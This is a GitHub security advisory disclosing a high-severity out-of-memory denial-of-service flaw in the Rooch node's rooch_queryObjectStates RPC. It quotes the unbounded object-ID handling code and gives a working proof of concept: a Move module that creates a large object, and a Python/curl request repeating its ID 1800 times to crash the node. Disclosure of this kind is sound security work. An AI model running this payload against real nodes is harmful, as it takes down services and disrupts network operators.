Skip to content

Rooch Node Shutdown: OOM caused by querying large number of high memory usage Objects

High
jolestar published GHSA-q7jw-699g-rrxf Oct 3, 2024

Package

cargo crates/rooch-rpc-server/src/server/rooch_server.rs (Rust)

Affected versions

main branch

Patched versions

main branch

Description

Summary

This vulnerability allows an attacker to exploit the rooch_queryObjectStates API by querying a large number of objects. A single query can occupy a large amount of memory, causing the node running out of memory and killed by the OS due to OOM exception.

Details

Reproduced on

  • main branch (9c515e5)
    Affected Module:
    crates/rooch-rpc-server/src/server/rooch_server.rs

In query_object_states, for ObjectStateFilter::ObjectId, there is no limit on the number of object ids a user can query in a single query.

        let indexer_ids = match filter {
            // Compatible with object_ids query after split object_states
            // Do not query the indexer, directly return the states query results.
            ObjectStateFilter::ObjectId(object_ids) => object_ids
                .into_iter()
                .map(|v| (v, IndexerStateID::default()))
                .collect(),
            _ => {
                self.indexer
                    .query_object_ids(filter, cursor, limit, descending_order, state_type)
                    .await?
            }
        };

Although the number of objects in the returned results is limited by truncation, a large amount of memory has already been occupied before the truncation. Attackers can exhaust node's memory by querying a large number of object IDs, causing an OOM exception.

PoC

Server-side setup

We launch the Rooch Node in a VM with 16GB memory limit.

rooch server start

Attack-side

module hello_rooch::hello_rooch { 
    use moveos_std::account;
    use moveos_std::object;
    struct S has key,store{value: vector<S1>}
    struct S1 has key,store,copy,drop{value: u8}
    entry fun f1(){
        let v0 = S1{value:255};
        let res = std::vector::empty<S1>();
        let b = 5000;
        while (b > 0){
            std::vector::push_back(&mut res, v0);
            b = b-1
        };
        object::transfer( object::new_named_object( S{ value: res }),@hello_rooch);
    }
}

Publish the module

rooch move publish 

Call the function f1 and get new <object_id>

rooch move run --function <address>::hello_rooch::f1

Query this <object_id> multiple times through the API

import os
    ids = "<object_id>,"*1800
    ids = ids[:-1]
    cmd = """curl --location 'http://0.0.0.0:6767' --header 'Content-Type: application/json' --data '{{"jsonrpc":"2.0","id":0,"method":"rooch_queryObjectStates","params":[{{"object_id":"{}"}},null,null,{{"descending":true,"decode":true,"showDisplay":true,"filterOut":false}}]}}' > 1""".format(ids)
    os.system(cmd)

replace the <object_id> to your object id
This query will exhaust the node's memory, causing the node process being killed by the OS due to OOM exception.

Impact

This vulnerability affects all Rooch nodes that can execute rooch_queryObjectStates, allowing attackers to use malicious queries to occupy a large amount of memory, causing the node to go out of memory and shut down all affected nodes in the network.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:H

CVE ID

No known CVE

Weaknesses

Credits